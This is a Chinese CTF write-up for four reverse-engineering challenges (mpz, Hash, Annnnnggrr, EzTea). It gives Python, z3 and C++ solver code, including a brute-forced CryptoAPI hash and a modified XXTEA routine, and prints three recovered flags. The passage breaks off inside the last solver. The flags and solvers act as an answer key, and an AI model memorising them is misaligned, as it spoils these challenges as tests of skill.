2024年6月

mpz

通过动态调试,我们可以发现是大数运算。
2024-06-23T02:25:51.png
写出Python脚本

from Crypto.Util.number import *
bigInt = 582872904048513552060243879638332414210812529746092910839742399777159917107350390592280
assert((bigInt - 1140) % 191980 == 0)
in_ = ((bigInt - 1140) // 191980) + 114514
b = long_to_bytes(in_)
print(b)
# b'flag{gmp_llllllllll111111111_int!}'

Hash

拖入IDA分析,然后把hash函数扣出来,直接用,bruteforce即可解决。(大概8分钟)

exp

#include <iostream>
#include <cstdint>
#include <Windows.h>

int sub_4117E0(BYTE* pbData, DWORD dwDataLen, BYTE* a3, DWORD* a4)
{
    char v5; // al
    char LastError; // al
    DWORD pdwDataLen[3]; // [esp+D0h] [ebp-44h] BYREF
    BYTE v8[4]; // [esp+DCh] [ebp-38h] BYREF
    HCRYPTHASH phHash[3]; // [esp+E8h] [ebp-2Ch] BYREF
    HCRYPTPROV phProv[3]; // [esp+F4h] [ebp-20h] BYREF
    int v11; // [esp+100h] [ebp-14h]
    int v12; // [esp+10Ch] [ebp-8h]

    v12 = 0;
    v11 = 0;
    phProv[0] = 0;
    phHash[0] = 0;
    if (!CryptAcquireContextW(phProv, 0, 0, 1u, 0xF0000000))
        return 0;
    if (!CryptCreateHash(phProv[0], 0x8004u, 0, 0, phHash))
        CryptReleaseContext(phProv[0], 0);
    if (!CryptHashData(phHash[0], pbData, dwDataLen, 0))
    {
        CryptDestroyHash(phHash[0]);
        CryptReleaseContext(phProv[0], 0);
    }
    pdwDataLen[0] = 4;
    if (CryptGetHashParam(phHash[0], 4u, v8, pdwDataLen, 0))
    {
        if (*a4 >= *(DWORD*)v8)
        {
            if (CryptGetHashParam(phHash[0], 2u, a3, a4, 0))
            {
                v11 = 1;
            }
            else
            {
                LastError = GetLastError();

            }
        }
        else
        {

        }
    }
    else
    {
        v5 = GetLastError();

    }
    if (phHash[0])
        CryptDestroyHash(phHash[0]);
    if (phProv[0])
        CryptReleaseContext(phProv[0], 0);
    return v11;
}


const char hashSet[] = {
0xA2, 0xF1, 0x7E, 0xD1, 0xC6, 0xA8, 0xBC, 0x31, 0x76, 0x9C, 0xDF, 0x65, 0x4D, 0xF4, 0xB8, 0xA9,
 0x37, 0x04, 0x2C, 0xB6, 0x0C, 0xA8, 0xA2, 0xED, 0xB0, 0xC1, 0xD3, 0x4A, 0x43, 0x2A, 0x5A, 0x44,
 0x64, 0xE0, 0xD6, 0xAB, 0xD8, 0x47, 0xC8, 0x31, 0xC3, 0x59, 0xD6, 0x9F, 0x3F, 0x08, 0xBB, 0x92,
 0x0F, 0x2C, 0x3B, 0x51, 0x13, 0x32, 0x05, 0x53, 0x34, 0x62, 0x09, 0x3E, 0xCC, 0x5C, 0x3F, 0xE6,
 0xE7, 0x35, 0x6A, 0x26, 0xA1, 0x34, 0xCF, 0xF5, 0x63, 0x33, 0x49, 0xF5, 0x97, 0xC4, 0x0A, 0x9D,
 0x4A, 0xC4, 0xBB, 0x3F, 0x27, 0xF2, 0x45, 0xBA, 0x91, 0x78, 0x65, 0x1A, 0xA5, 0xCD, 0xED, 0xCB,
 0xB2, 0x86, 0x2E, 0x2A, 0xA0, 0x1E, 0x33, 0xF4, 0xDC, 0xDB, 0x6B, 0xA1, 0xAE, 0x9F, 0x34, 0xA9,
 0x7C, 0xF8, 0xF6, 0xDE, 0xEE, 0xDF, 0x1A, 0x8D, 0xD3, 0xAF, 0x70, 0x91, 0x2A, 0x8C, 0x1B, 0x22,
 0xCF, 0xDE, 0xCE, 0x07, 0x1B, 0xA3, 0x6B, 0xC4, 0x66, 0x2B, 0x58, 0xFA, 0x93, 0x95, 0xEA, 0xB1,
 0x95, 0xD2, 0x5B, 0x67, 0x6D, 0x7D, 0x07, 0x07, 0x5D, 0x38, 0x38, 0xA9, 0xAC, 0x19, 0xDF, 0x21,
 0xFD, 0xB4, 0x3C, 0x5E, 0xF7, 0x6E, 0xCD, 0xA0, 0xC1, 0x66, 0x1D, 0x6D, 0x19, 0x9B, 0x5B, 0xFA,
 0xC1, 0xDB, 0x53, 0x8A, 0xDA, 0x8E, 0x99, 0x97, 0xA0, 0x10, 0xBE, 0x78, 0xB2, 0x01, 0x08, 0xCE,
 0x79, 0xFE, 0xC1, 0xFB, 0x9C, 0x63, 0xD8, 0xDC, 0x80, 0x9D, 0xA6, 0x27, 0xF1, 0xAD, 0x01, 0xD6,
 0x58, 0x64, 0xC3, 0x76, 0xE3, 0x17, 0x9B, 0x62, 0xD9, 0xD7, 0x42, 0x61, 0x8F, 0x61, 0xEE, 0x21,
 0xAC, 0x75, 0x79, 0x62, 0x69, 0x34, 0xE0, 0xFF, 0xB6, 0xA6, 0x2B, 0x3D, 0x4A, 0x82, 0xEE, 0xC4,
 0xE2, 0xA9, 0x54, 0x75, 0x8F, 0xDB, 0x61, 0xF8, 0x69, 0x99, 0x8E, 0x97, 0x88, 0xB7, 0xB7, 0xE4,
 0x84, 0x80, 0xB8, 0x32, 0xB8, 0xE3, 0x34, 0x9B, 0x97, 0x53, 0x2B, 0x27, 0xAA, 0x62, 0xB8, 0x71,
 0x8B, 0x68, 0x24, 0x01, 0x79, 0x15, 0x81, 0x44
};

int main()
{
    DWORD v9[3]; v9[0] = 50;
    BYTE* ret = (BYTE*)malloc(20);
    BYTE* b = (BYTE*)malloc(3);
    if (!b || !ret) return -1;
    for (int i = 0; i < 42 / 3; i++)
    {
        bool ok = false;
        for (char c1 = 0x20; c1 < 0x7f && !ok; c1++)
            for (char c2 = 0x20; c2 < 0x7f && !ok; c2++)
                for (char c3 = 0x20; c3 < 0x7f && !ok; c3++)
                {
                    b[0] = c1;
                    b[1] = c2;
                    b[2] = c3;

                    sub_4117E0(b, 3, ret, v9);
                    if (!memcmp(ret, hashSet + 20 * i, 20))
                    {
                        std::cout << b[0] << b[1] << b[2];
                        ok = true;
                    }
                }
        if (!ok)
        {
            std::cout << "[x]";
        }
    }


    
    return 0;
}

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Annnnnggrr

题目一眼看出来用angr,但是我还不会,所以我用z3。
exp

from z3 import *
import copy
x = [BitVec(f'x{i}', 8) for i in range(32)]
y = copy.deepcopy(x)
x[27]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[27]-62)^0xEB)-51)^0x71)-37)^0xAA)-125)^0x11)+53)^0x6B)-123)^0x4D)-70)^0xF1)-102)^0x56)-54)^0x72)+61)^0x4A)-4)^0xDF)+60)^0x82)-119)^0xB1)-65)^0x4A)+85)^0x70)+35)^0xA4)-74)^0x61)-66)^0xDF)-80)^0x8E)-120)^0x15)+51)^0xC3)+74)^0xA)+33)^0x22)-100)^0x9B)-57)^9)+56)^0xA0)-77)^0x49)-122)^0xBB)-102)^0x7A)+85)^0x3B)+41
x[15]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[15]-108)^0x6E)+10)^0x72)+127)^0x21)-67)^0x99)+65)^0xC)-5)^0x2D)+45)^0x3E)+114)^0xBF)+46)^0xA1)+53)^0xC4)+2)^0x53)+55)^0x8C)-79)^0x1E)+11)^0x4A)-85)^0xB)-77)^0x7F)-114)^0xFA)-82)^0xEA)+58)^0x4A)+84)^0xFB)-95)^0xF8)-114)^0x9A)+57)^0xB9)+19)^0xE5)+77)^0x82)+21)^0x9F)-99)^0xF2)+41)^0xAD)-123)^0x9B)+89)^0x33)-113)^0xD7)+18)^0x50)+31)^0x4C)-13)^0x64)+10)^0x2F)+93)^0x83)+88)^0xA6)+98)^0x56)-86)^0x95)-99
x[19]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[19]+12)^0x95)-105)^0x5B)-87)^0xD5)-79)^0x99)-52)^0x93)-75)^0x68)+110)^0x75)+73)^0x96)-61)^0xA5)+9)^0xBF)-34)^0xE2)+79)^0x34)+22)^0x46)-11)^0xFA)+127)^5)+87)^0xD8)-99)^0x12)+89)^0x6F)+96)^0xDF)-8)^0x33)-18)^0x3A)-19)^0x9F)+7)^0x8E)-117)^0xA4)-99)^0x84)+14)^0xD)-41)^0x57)-66)^0xE3)-5)^0x3C)-121)^0xA2)+0x80)^0xFD)+20)^0x14)+102)^0xE1)-75)^0x79)+91)^0x62)+22)^0xE8)+15
x[9]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[9]+4)^0x55)+53)^0x74)+76)^0xDA)-116)^0x5A)+123)^0x13)-127)^0xA1)-113)^0xAD)+37)^0x92)-17)^0x60)+37)^0x49)+90)^0x7E)-31)^0x31)-9)^0x34)-20)^0xC1)+54)^0x6C)+22)^0x9E)-64)^0xFD)-92)^0x7D)-124)^0x75)-10)^0x4B)+100)^0x77)+75)^0x2A)+124)^0xC3)-78)^0xCA)+8)^0xB)+59)^0xE9)+103)^0xE9)+87)^0x74)-107)^0x81)-84)^0x28)+91)^0x88)-88)^0xD9)-53)^0xD8
x[12]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[12]-51)^0x2A)-37)^0xAD)+94)^0x96)-80)^0x64)+114)^0x97)-107)^0xF8)+8)^0x22)-63)^0x99)-33)^0xEB)+126)^0x79)-3)^0x6F)-126)^0x5F)-17)^0x49)+49)^0x2E)-50)^0x20)-38)^0x1A)-74)^0x1E)+112)^0x51)-94)^0x80)+109)^0x75)+65)^0xCB)-43)^0x91)-22)^0xE4)-39)^8)+36)^0x43)-38)^0xBA)+18)^0x70)+57)^0x14)-76)^0x77
x[1]=((((((((((((((((((((((((((((((((((((((((((((((((((((((-(((((((((((((((((((x[1]-118)^0x3E)+38)^0x8B)+49)^0x5D)-4)^0xA5)+119)^0x3C)+124)^4)-21)^0xA)+88)^0x41)+77)^0x52)+36)-77)^0x18)-94)^0x84)+61)^0x82)+66)^0xB)-9)^0x52)-42)^0x9A)+42)^0x89)+8)^0xEF)+100)^0x95)+6)^0xC4)+95)^0xB6)+73)^0xC7)+54)^0xF7)+125)^0x56)+12)^0x2B)+70)^0xB3)+7)^0x14)+0x80)^0xB6)-96)^0xF4)+113)^0xC9)-61)^0x90)+114)^0xF8)-80)^0x3E)+120)^0xDD)-101)^0xB9)-46)^0x38)+112)^0xA9)+27
x[28]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[28]-121)^0xC1)-91)^0xBD)-20)^0xBE)-58)^0x79)+51)^0xB5)-43)^3)+16)^0x72)+24)^0xA9)+60)^0x76)-44)^0x74)-1)^0x56)+85)^0xF5)+40)^0x80)+116)^0x4A)-26)^0xD3)+78)^0xD1)+112)^0x70)-96)^0xA0)-69)^0x28)+9)^0xD0)-89)^0x49)-44)^0x8B)-106)^0x25)+103)^0xAE)-40)^0x3C)+76)^0x4D)-88)^0x1A)+93)^0xFD)+63)^0x57)-73)^0xD9)-29)^0xA6)+42)^0xB8)+64)^0xB4)+64
x[30]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[30]^0xAE)-86)^0xB0)+107)^0x2F)-44)^0xFA)-56)^0x92)+33)^0x75)-56)^0xF1)-87)^0x96)+96)^0xA7)-84)^0xAF)+105)^0xAF)+16)^0xC9)+61)^7)-115)^0xE9)+7)^0x95)+70)^0x9B)-117)^0xFC)+100)^0x53)+119)^0xF9)+101)^0x34)-92)^0x91)+122)^0x14)+25)^0x2B)-24)^0x46)-85)^0x3C)+26)^0xB)+106)^0xD1)+50)^0x54)+70)^0x9E)-76)^0x18)-58)^0x61)-30)^0x43)-13)^0xF9)+95)^0x9C)+4)^0xC8)+80)^0xF8)+108
x[4]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[4]+70)^0xF3)+69)^3)+53)^0x9C)+75)^0x78)-22)^5)+37)^0x6C)-72)^0x93)-72)^0x1E)+32)^0x7F)-110)^7)-99)^0xE1)-4)^0x7B)-93)^0x77)-82)^0x2F)+86)^0x66)-123)^0x88)+119)^0x47)+40)^0xDB)+49)^0xC1)-79)^0x47)+96)^0x1E)-59)^0x45)+77)^0x4A)-15)^0xB9)+30)^0x35)+39)^0x9A)+125)^0xCD)+64)^0xD9)+122)^0x70)+15)^2)-22)^3)-115)^0x8C)+1
x[24]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[24]+3)^0x87)+73)^0xCC)-92)^0xB9)-108)^0x15)-96)^0xC4)-50)^0x41)+27)^0x40)-102)^0xB2)-74)^0xB4)+5)^0x38)+121)^0x74)+11)^0xA5)-50)^0x7D)-118)^0x8B)+2)^0xBC)-125)^0xB2)-100)^0xEA)+1)^0xD7)-19)^0xDE)-101)^0x55)+96)^0xC2)+27)^0x6B)+81)^0xD)+126)^0x65)-89)^0x41)+75)^0xC4)-42)^0x28)+2)^0xC3)-97)^0xA)-71)^0xD2)-69)^0xDA)+123)^0xE3)+7
x[5]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[5]+58)^0xAB)-11)^0xC8)+20)^0x13)+17)^0x42)+123)^0x1F)+98)^0x8D)+117)^0xBB)-43)^0xCF)+92)^0xAB)-95)^0x84)+56)^0xC5)-20)^0x35)-86)^0x72)-78)^0x58)+65)^0x10)-96)^0xE3)-89)^0x5A)+111)^0xA1)+124)^0x5A)+29)^0xAE)+26)^0x42)-127)^0x6C)+104)^0xDD)-41)^0xB3)-34)^0x77)+37)^0x4A)-90)^0x14)-90)^0x8C)-77)^0xDA)-31)^0x37)+96)^0x14)+126)^0xC7)+108)^0x1D)+15)^0xB8)-10)^0x95)-58)^0x8F)-52)^0x61)-29)^0xF6)-127
x[18]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[18]^0xB7)+87)^0x64)+33)^0x9D)-51)^0x18)-126)^0xB4)-21)^0xC0)-72)^0x15)+30)^0x1E)+48)^0x9D)+50)^0xDF)+92)^0xB9)+120)^0x5C)+103)^0x55)-8)^0xAC)-89)^0x63)+34)^0x25)+103)^0xDC)-104)^0x61)-109)^0x8A)-31)^0xA4)+57)^0x66)+123)^0x8C)-47)^0x3A)+104)^0x12)+17)^0xDE)+122)^8)+95)^0x92)-97)^0xE2)-69)^0xA)-85)^0x7D)-120)^0xAE)+109)^0xD7)-87)^0x37)+80)^0x2E)+119)^0xF6)-115
x[0]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[0]^0xC5)+13)^0x5F)+118)^0x48)+91)^0x94)+19)^0x36)+43)^0x45)-82)^0x2A)+44)^0x1A)-91)^0x78)-20)^0xC5)+5)^0x65)+33)^0xF)+13)^0x2B)-44)^0x6D)-90)^0xAB)-120)^0x62)-7)^0x1E)-97)^0x75)-4)^0xE9)+43)^0x3B)+81)^0x41)-5)^0xB0)+106)^0x8A)-64)^0x9C)+10)^0xBB)-63)^0xF4)+66)^0xFB)+39)^0xFD)-85)^0x5E)+44)^0xE1)+30)^0x4F)+122)^2)+85)^0x3F)-78)^0x39)+68)^0xCA)+25)^0x1F)-122)^0xB)+31
x[22]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[22]-124)^0x2B)-97)^0xC6)+33)^0xBB)+84)^0x93)-79)^0x76)-58)^0xE9)-56)^0x62)-17)^0xF1)-21)^0x8A)-118)^0xD4)-34)^0x36)-94)^0x37)+43)^0x8E)-17)^0xAB)+24)^0x29)-105)^0xCE)-10)^0xAF)+89)^0x3D)+75)^0x7E)-58)^0x28)+20)^0xB2)-97)^0xC5)+49)^0x55)-18)^0x30)-93)^0xC2)-41)^0x95)+47)^9)+24)^0xBF)+79)^0xE9)+15)^0xAA)+91
x[25]=((((((((((((((((((((((((((((((((((((((((((((((((45-(((((((((((((x[25]^0x8D)-125)^0xD8)+29)^0x8F)+59)^0x40)+109)^0x4E)+45)^0x84)+83)^0x98))^0x96)-52)^0x77)-65)^0x14)-91)^0xC4)+41)^0xD)-118)^0x84)+83)^1)+16)^0x27)-24)^0x81)+58)^0x12)-72)^0xF4)-93)^0x62)-47)^0x43)-100)^0x88)+83)^0x6A)-97)^0x5A)-59)^0xDA)-25)^0xA3)-10)^0xE7)+65)^0x2C)+81)^0xCE)+13)^0xBA)+1)^0x5E)-22)^6)+39
x[7]=(((79-((-(((((((((((((((((((((((((((((((((((((((((((((((((((((x[7]^0xAA)+26)^0x36)-22)^8)+45)^0x1C)-57)^0x1B)+101)^0x36)+100)^0xA3)-46)^7)-20)^0xF)+27)^0xD2)-6)^0xAE)+59)^0xF9)+34)^0x18)+104)^0xDF)-95)^0xD4)-58)^0xB9)+122)^0x8F)-69)^3)-44)^0xF2)-2)^0xDD)+92)^0xFB)+113)^0xE9)+71)^0xC2)+31)^0x89)-45)^0x60)+13)^0xA6)-104)^0x3C)-104)^0x65))^0xBF)+16)^0xC0
x[6]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((92-((((((((((((x[6]^0x25)+75)^0x4A)+77)^0x32)+127)^0xD2)-43)^0x68)+127)^0xB4)+126))^0x84)-97)^0x46)-101)^0xCF)-41)^0xD0)+91)^0x33)+118)^0x6F)+21)^0x99)-122)^0x16)+71)^0x89)-49)^0xD3)+17)^0x57)-41)^0x35)-35)^0x4D)-8)^0x17)-51)^0xFD)-44)^0xB1)+90)^0x38)+24)^0xC7)-58)^0xC5)+65)^0x18)+92)^0x61)+59)^0x8B)+122)^0x88)-68)^0x55)+91)^0x6A)+35)^0x9D)-80)^0xC9)-35)^0x68)-38)^0x5F)+50)^0x5B)-83)^0xF)-90)^0x99)-28)^0x35)+84)^0x26)-108)^0x2A)+4)^0x55)-89)^0x1F
x[13]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[13]+38)^5)+77)^0x3F)-16)^0x3B)-103)^0xE0)+119)^0xDD)+85)^0x9F)+16)^0x72)-9)^0x2E)-49)^0xA2)+76)^0x3E)-101)^0x20)+21)^0xE5)+63)^0x65)-99)^0xE4)+100)^0x59)-125)^0x94)-66)^0x2F)-118)^0x6A)-88)^0xE9)-33)^0x14)+5)^9)+92)^7)+116)^0xB8)+81)^0x1E)-107)^0x1B)+60)^0x85)-107)^0x5C)+31)^0x8F)-31
x[2]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[2]^0x29)-82)^0xFD)+81)^0x6E)+18)^0xF)-71)^0xA1)-2)^0x82)-30)^0x16)+39)^0x45)+7)^0xC4)+60)^0x30)+44)^0x4F)+127)^0x70)-11)^0xB0)-49)^0x2E)-90)^0x8C)-47)^0xDA)+116)^0x4D)-35)^0xBB)-74)^0x20)-93)^9)-108)^0x54)+83)^0x64)+28)^0xC9)-4)^0x7B)+47)^0x79)-66)^0xEB)+108)^0x30)+3)^0xC3)+62)^0x8C)+68)^0x53)+23)^0x74)+114)^7)+77)^6)-118)^0xCE)-26
x[14]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[14]+56)^0x33)+31)^0xA)+95)^0x53)+71)^0x99)-78)^0xF8)+87)^0x6E)+4)^0x6B)-10)^0xBE)+40)^0x5B)-42)^0xB9)-62)^0xFD)+22)^0xD6)+22)^0x9C)+88)^0xF1)+68)^0xEB)+42)^0xBF)-110)^0x7E)+119)^0x73)-89)^0x2D)-70)^0x44)-75)^0x99)+96)^0xF0)-80)^0x16)-5)^0xEF)-28)^0x4A)-7)^0x7C)-107)^0xE2)+24)^0xDF)-51
x[3]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[3]^0x53)-75)^0xB0)-79)^0x2A)-38)^0x46)+68)^0xAD)+12)^0x22)-99)^0xDF)+121)^0xE4)+0x80)^0xE9)+92)^0x75)+76)^0xB1)-24)^0x8E)-25)^0xB2)+61)^0xCD)+16)^0x30)-44)^0x9C)+44)^0x5D)-37)^0xD3)-14)^0x9E)+63)^0x25)-105)^0x2B)+10)^0xF3)+67)^0x23)-108)^0xDF)-13)^0x55)+94)^0x9C)-11)^0x77)+12)^0x10)-100)^0x6D)+48)^0xF4)-19)^0x1D)-112)^0x77)+19)^0x7E)-22)^0xAF)-64)^0xA8)-81)^0x3C)+96)^0xA2)-114)^0xBA)-8)^0x3D)+89)^0x2F)-85
x[21]=((((((((((((((((((((((((((((-33-(((((((((((((((((((((((((((((((((((((x[21]^0xF1)+59)^0xBC)+78)^0x3C)-60)^0xD7)+43)^0x7C)-44)^0xA6)+92)^0xCD)+101)^0x70)+113)^0x2A)-126)^0x2C)-58)^0xE9)-32)^0x75)-13)^0x96)+36)^0x3B)+81)^0xF4)+74)^0x93)-51)^0xBB)+80)^0xCF)-96)^0x9C))^0xF2)+20)^0x7F)-1)^0xCF)-55)^0xBE)-18)^0xA1)-107)^0xBC)+81)^0x1B)-6)^0x4D)-102)^0xC0)+6)^0x40)-102)^0x7C)+35)^0x1D)-91)^0xFB)+69)^0xC3)+114
x[16]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[16]-67)^0x1F)-13)^0xC5)+75)^0x9C)-13)^0xE)+13)^0xBD)+4)^0x66)+18)^0xE8)+99)^0xF1)-3)^0x37)+126)^0xC9)-126)^0x6D)-34)^0xD8)-61)^0x2C)-57)^0x62)-34)^0xFE)-34)^0xD6)+59)^0x9F)-42)^0x72)-39)^0xE3)-17)^0xE)+21)^0xD3)+29)^0xF3)+83)^0x98)+3)^0xF2)+79)^0xE0)+119)^0xF1)+80)^0x2C)-60)^0x27)+31)^0xB8)-26)^0xE5)-44)^0x2B)+3)^0xA4)-67)^0xB0)-63)^0x99)-14)^0xAA
x[20]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[20]^0x68)-125)^0x35)-127)^0x5E)+93)^0xFC)-11)^0xBB)+48)^0x9D)+17)^0xA2)-40)^0x32)+10)^0x63)-42)^0x66)+125)^0xE1)-114)^0xD7)-30)^0x4C)+46)^0x60)-29)^9)-103)^0xAA)+43)^0x47)+126)^0xAE)+31)^0x40)-120)^0xE)-48)^0xC0)-55)^0xDC)+123)^0x50)-3)^0xAC)+38)^0x3A)-68)^0x32)-97)^0x7A)+93)^0x30)-120)^0xA3)+38)^0xCE)+124)^0x6F)-55)^0x74)+76)^0x3F)+29)^0x4D)-85)^0x5D)-8)^0xE3)+102)^0x81)-104)^0x7F)+110)^0xC2)+37)^0x7F)+118)^0x95)+29)^0x54)+27
x[8]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[8]^0x30)+40)^0x6B)+75)^0xCD)-114)^0xF3)-9)^0x2D)-60)^0x7A)-108)^0x2B)-106)^0x28)-37)^0xB7)+3)^0xC9)+18)^0x92)+57)^0x43)-104)^0x74)+45)^0x22)+100)^3)+37)^0x31)+109)^0x5C)+11)^0xF7)-10)^0x85)-126)^0x3A)+35)^0xD6)+3)^0x7B)-120)^0x96)+45)^0x81)+45)^0x13)-73)^0xF7)-113)^0xBC)-37)^0xAD)-116)^0x6F)+69)^0xC1)+79)^0xDB)-9)^0xE1)-52)^0xF6)-94)^0x31)+113)^0x8F
x[17]=((((((((((((((11-((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[17]+93)^0xE9)+73)^0xE)+121)^0x95)-20)^0x88)-18)^0x29)-48)^0x96)-54)^0x3F)-61)^0xC2)+101)^0x8D)-124)^0x71)-126)^0xB6)+39)^0x65)+88)^0x42)+50)^0xCE)-112)^0x51)+1)^0x95)-82)^0xB0)+111)^0x57)-24)^0x72)+18)^0x24)-42)^0x7E)-8)^0x64)-52)^0x89)+35)^0x37)-18)^0xC0)+81)^0x26)+112)^0x53)-23)^0x4B)+49)^0x2E)+60)^0xB8))^0xA0)-60)^0xDE)+92)^0x41)-18)^0x10)-20)^0x88)+118)^0xF)-65)^0x2C)+72
x[26]=((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[26]+71)^0x4F)-6)^0x51)+72)^0x22)+61)^0x3D)+126)^0x6B)-9)^0x3F)-8)^0xFB)-119)^0xC0)+17)^0xE7)-98)^0xA6)-113)^0xAA)-19)^0x38)-21)^0x45)-52)^0x28)-10)^0xAB)+74)^0xA7)+1)^0x9F)+39)^0x72)+47)^0xBE)-69)^0x88)-99)^0xFE)+23)^0xBD)+93)^0x5F)+46)^0x41)-19)^0xB4)+46)^0xAA)+37)^0x23)+37)^7)-104)^0x6A)+20)^0x21)+25)^0xCF)-41)^0xAD)+89)^0xEB)+73)^0x64)-122)^0x9E)-31)^0x84)-111)^0xC)+28)^8)+68)^0x1E)+32)^0xE8)-93)^0xB4)-95
x[29]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[29]^0x14)+72)^0xBE)+24)^0xAC)-44)^0xA1)+25)^0xB2)+10)^0xBA)-20)^0x70)+101)^0x44)+14)^0x85)-6)^0x45)-62)^0xB4)+126)^0x5E)-57)^0x58)-101)^0x23)+91)^0xF4)+67)^0x50)-33)^0x3A)+61)^0x12)+33)^0x23)-6)^0xA3)+31)^0x79)+93)^0xD4)+53)^0xA3)-120)^0x2E)-72)^0xA6)+13)^0xDB)-31)^0xF0)+35)^0xAC)+92)^0xC9)-74)^5)+8)^0x71)+31)^0xD2)-59)^0xF3)+102)^0xA2)+53)^0xB)-64
x[23]=13-((-73-((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[23]+5)^0xCF)-59)^0x99)+75)^0xDE)-57)^0x17)-106)^0x6B)-121)^0xA3)+107)^0x12)-106)^0x7C)-5)^0x87)+99)^0x7E)-113)^0xDB)+79)^0x3A)+107)^0xC3)-71)^0xF0)+62)^0x7E)+53)^0xF9)+73)^0x87)-110)^6)-92)^0x16)-6)^0x9E)-38)^0x3C)+34)^3)+6)^0x6E)-70)^0x35)-120)^0x52)-10)^0x81)-24)^0x31)+62)^0xCE)-63)^0xD9))^0x6D)
x[10]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[10]-82)^0xA8)-66)^1)-40)^0x18)-31)^0xD6)-103)^0xFB)-90)^0x3B)+116)^0x16)-22)^0xA0)+15)^0xE1)-79)^0xF0)-122)^0x3B)+111)^0xEB)+54)^0x6D)+67)^0xE4)+94)^0x6C)-14)^0xE8)-99)^0x3D)+49)^0x22)-83)^0xA1)+89)^0xFA)-96)^0x2B)+114)^0xF7)-77)^0x74)-113)^0xAD)-1)^0x4D)+38)^0x71)-43)^0x7B)+0x80)^0xF8)-46)^0xC4)-121)^0x56)+102)^0xAA)+18)^0xD5)+109)^0x87)-108)^0x1B)+67)^0x80)+7)^0xD6)+92)^0xAC)-55)^0xCC
x[31]=((((((((((((-(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[31]-70)^0x4B)+91)^0x67)+122)^0x29)-70)^0xB1)-126)^0xC1)-24)^9)-19)^0xCF)+105)^0x9D)-63)^0x43)-43)^3)-85)^0xFC)-26)^0x9A)+64)^0x2D)-88)^0x25)+50)^0xB5)-66)^0xA2)+62)^0x45)+124)^0xCB)+25)^0x12)+74)^0x68)-1)^0xF5)-127)^5)-58)^0xAC)-65)^0x99)-47)^0xAD)+52)^0x9D)+61)^0x23)+17)^0x58)-114)^0x88)+32)-57)^0xE5)+6)^0x3A)+27)^0x65)-118)^0xE2)+10)^0xD9)-112)^0x30)-24
x[11]=(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x[11]-63)^0x1F)-31)^0xCE)-63)^0xB8)+54)^0xB7)-126)^0xB6)-29)^0x52)+38)^0x98)-66)^0xF2)-74)^0xD1)-95)^0xDF)-24)^0x9F)-48)^0xB1)-66)^0x48)-28)^0x55)-30)^0x16)+22)^0x8D)+46)^0x27)-76)^0xC6)+43)^4)-64)^0x28)-43)^0xD8)-104)^0x3E)-40)^0xC5)-103)^0x55)+61)^0x5C)+78)^2)+74)^0xF3)+122)^0xB7)-65)^0x4F)-48)^0x7A
s = Solver()
ans = bytes.fromhex("4F170C56DB675D67322B360302F3A1E4C727C1B64CD759A171529AE221960CCA")
assert(len(ans) == 32)
for i in range(32):
    s.add(ans[i] == x[i])
print(s.check())
m = s.model()
for i in y:
    print(chr(m[i].as_long()), end='')

# flag{umm_I_can't_calc_1t_@t_all}

EzTea

XXTEA,魔改MX和DELTA

#include <iostream>
#include <cstdint>
#include <Windows.h>
DWORD unk_1400032A0[4] = {
    0x00000019, 0x00000019, 0x00000008, 0x00000010
};

// #define MX (z>>5^y<<2) + (y>>3^z<<4)^(sum^y) + (k[p&3^e]^z);
#define MX (((z ^ k[e ^ p & 3]) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4))))
#define DELTA 0x11451400

int sub_1400011C0(DWORD* v, int n, DWORD* k)
{
    unsigned long z = v[n - 1], y = v[0], sum = 0, e;
    long p, q;
    if (n > 1) {          /* Coding Part */
        q = 6 + 52 / n;
        while (q-- > 0) {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++) y = v[p + 1], z = v[p] += MX;
            y = v[0];
            z = v[n - 1] += MX;
        }
        return 0;
    }
    else if (n < -1) {  /* Decoding Part */
        n = -n;
        q = 6 + 52 / n;
        sum = q * DELTA;
        while (sum != 0) {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--) z = v[p - 1], y = v[p] -= MX;
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        return 0;
    }
    return 1;


}

unsigned char ans[] = {
    0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96, 0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E,
    0xAB, 0x29, 0x3A, 0x71, 0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88, 0x1A, 0x84,
    0x59, 0xB4, 0x31, 0x6F
};

int main()
{
    DWORD* a = (DWORD*)malloc(36);
